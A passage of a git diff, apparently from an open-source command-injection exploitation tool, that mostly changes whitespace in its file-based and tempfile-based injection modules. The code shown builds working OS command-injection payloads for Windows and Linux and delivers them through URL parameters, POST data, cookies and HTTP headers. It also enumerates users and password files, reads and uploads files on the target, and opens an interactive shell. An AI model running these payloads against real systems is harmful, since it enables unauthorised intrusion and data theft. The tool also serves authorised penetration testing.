defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) - + # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) @@ -198,9 +198,9 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) # Check if defined extra headers. - headers.do_check(request) + headers.do_check(request) # Get the response of the request - response = requests.get_request_response(request) + response = requests.get_request_response(request) else: # Check if defined method is POST. @@ -211,7 +211,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -219,14 +219,14 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. - headers.do_check(request) - + headers.do_check(request) + # Get the response of the request response = requests.get_request_response(request) return response @@ -251,7 +251,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): try: path_parts = [non_empty for non_empty in path.split('/') if non_empty] count = 0 - for part in path_parts: + for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] @@ -260,7 +260,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): try: output = output.split("?")[0] except: - pass + pass except IndexError: output = url + "/" + OUTPUT_TEXTFILE settings.DEFINED_WEBROOT = output @@ -292,7 +292,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): break elif procced_option in settings.CHOICE_NO: output = custom_web_root(url, OUTPUT_TEXTFILE) - info_msg = "Using '" + output + info_msg = "Using '" + output info_msg += "' as command execution output." print(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: @@ -302,7 +302,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) @@ -314,7 +314,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): print(settings.print_debug_msg(debug_msg)) return output - + """ Command execution results. """ @@ -328,7 +328,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). + # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b724351665..dbcc854207 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -23,17 +23,17 @@ from src.core.injections.controller import checks """ -File-based decision payload (check if host is vulnerable). +File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: payload = (separator + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" - ) + ) else: payload = (separator + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + ) return payload @@ -45,14 +45,14 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p = %i " + settings.CMD_NUL ) else: payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" - ) + ) if settings.USER_AGENT_INJECTION == True or \ settings.REFERER_INJECTION == True or \ @@ -69,7 +69,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - + if settings.TFB_DECIMAL == True: payload = (separator + cmd) @@ -77,9 +77,9 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + - cmd + + cmd + "\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL - ) + ) else: settings.USER_SUPPLIED_CMD = cmd payload = (separator + @@ -99,7 +99,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\"" payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p = %i " + settings.CMD_NUL ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 762c51dfec..dbc1cef04b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -143,7 +143,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_current_user_privs(shell, filename, _) - + """ System users enumeration """ @@ -181,7 +181,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti _ = True if output == False: output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output @@ -211,8 +211,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h def reset(): if settings.ENUMERATION_DONE: settings.ENUMERATION_DONE = False - - reset() + + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 5bb9a25ba5..8ac0fb837b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -44,13 +44,13 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) else: - cmd = checks.write_content(content, dest_to_write) + cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) @@ -76,7 +76,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) - + """ Read a file from the target host. """ @@ -112,7 +112,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3e13b9d206..0c212b2201 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -55,7 +55,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: - cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ @@ -75,7 +75,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" - if settings.TIME_RELATIVE_ATTACK == False: + if settings.TIME_RELATIVE_ATTACK == False: warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = None @@ -83,15 +83,15 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - + # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) - if not settings.LOAD_SESSION: + if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " @@ -111,7 +111,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, how_long_statistic = [] if settings.LOAD_SESSION: try: - settings.TEMPFILE_BASED_STATE = True + settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) @@ -136,7 +136,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 - + for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). @@ -151,21 +151,21 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload)) - + print(settings.print_payload(payload)) + # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) - + # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. @@ -220,7 +220,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False - how_long_statistic = [] + how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True @@ -277,14 +277,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Set the original delay time original_how_long = how_long - + # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -292,7 +292,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = settings.info_msg else: percent = "" - #break + #break else: break # False positive @@ -302,7 +302,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - continue + continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -310,8 +310,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - - except (KeyboardInterrupt, SystemExit): + + except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. # print(settings.SINGLE_WHITESPACE) @@ -326,7 +326,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise + raise except: percent = ((num_of_chars * 100) / total) @@ -350,7 +350,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = ".. (" + str(float_percent) + "%)" break - # Yaw, got shellz! + # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ @@ -369,27 +369,27 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, whitespace = settings.SINGLE_WHITESPACE possibly_vulnerable = False - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -404,14 +404,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -432,13 +432,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == settings.OS.WINDOWS: time.sleep(1) - + # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: @@ -449,11 +449,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, menu.options.ignore_session = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break - elif enumerate_again in settings.CHOICE_NO: + elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(enumerate_again) @@ -461,7 +461,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: @@ -479,12 +479,12 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - common.invalid_option(file_access_again) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd @@ -492,9 +492,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Export injection result if len(output) > 1: delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Pseudo-Terminal shell - try: + try: checks.alert() go_back = False go_back_again = False @@ -526,7 +526,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: @@ -547,25 +547,25 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, break else: if no_result == True: - return False + return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return True + return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - common.invalid_option(gotshell) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") - raise - + raise + except EOFError: if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) @@ -574,7 +574,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") - raise + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: @@ -599,5 +599,5 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time settings.TIME_RELATIVE_ATTACK = False settings.TEMPFILE_BASED_STATE = False return False - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index c7e8013893..0ca65b1046 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -65,7 +65,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -73,7 +73,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -107,7 +107,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined method is POST. else: parameter = menu.options.data @@ -118,8 +118,8 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Define the POST data + + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -127,7 +127,7 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -170,17 +170,17 @@ def host_injection_test(url, vuln_parameter, payload): """ def custom_header_injection_test(url, vuln_parameter, payload): return requests.custom_header_injection(url, vuln_parameter, payload) - + """ The main command injection exploitation. """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" if menu.options.file_write or menu.options.file_upload : @@ -190,14 +190,14 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - print(settings.print_info_msg(info_msg)) + print(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell : payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - + payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -210,8 +210,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + payload_msg = payload.replace("\n", "\\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -235,13 +235,13 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True - if injection_check == True: + if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) @@ -267,12 +267,12 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" else: - info_msg += "\n" + info_msg += "\n" if output_length > 1: sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) + char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: # Get the execution ouput, of shell execution. if alter_shell : @@ -285,14 +285,14 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + payload_msg = payload.replace("\n", "\\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -316,7 +316,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= 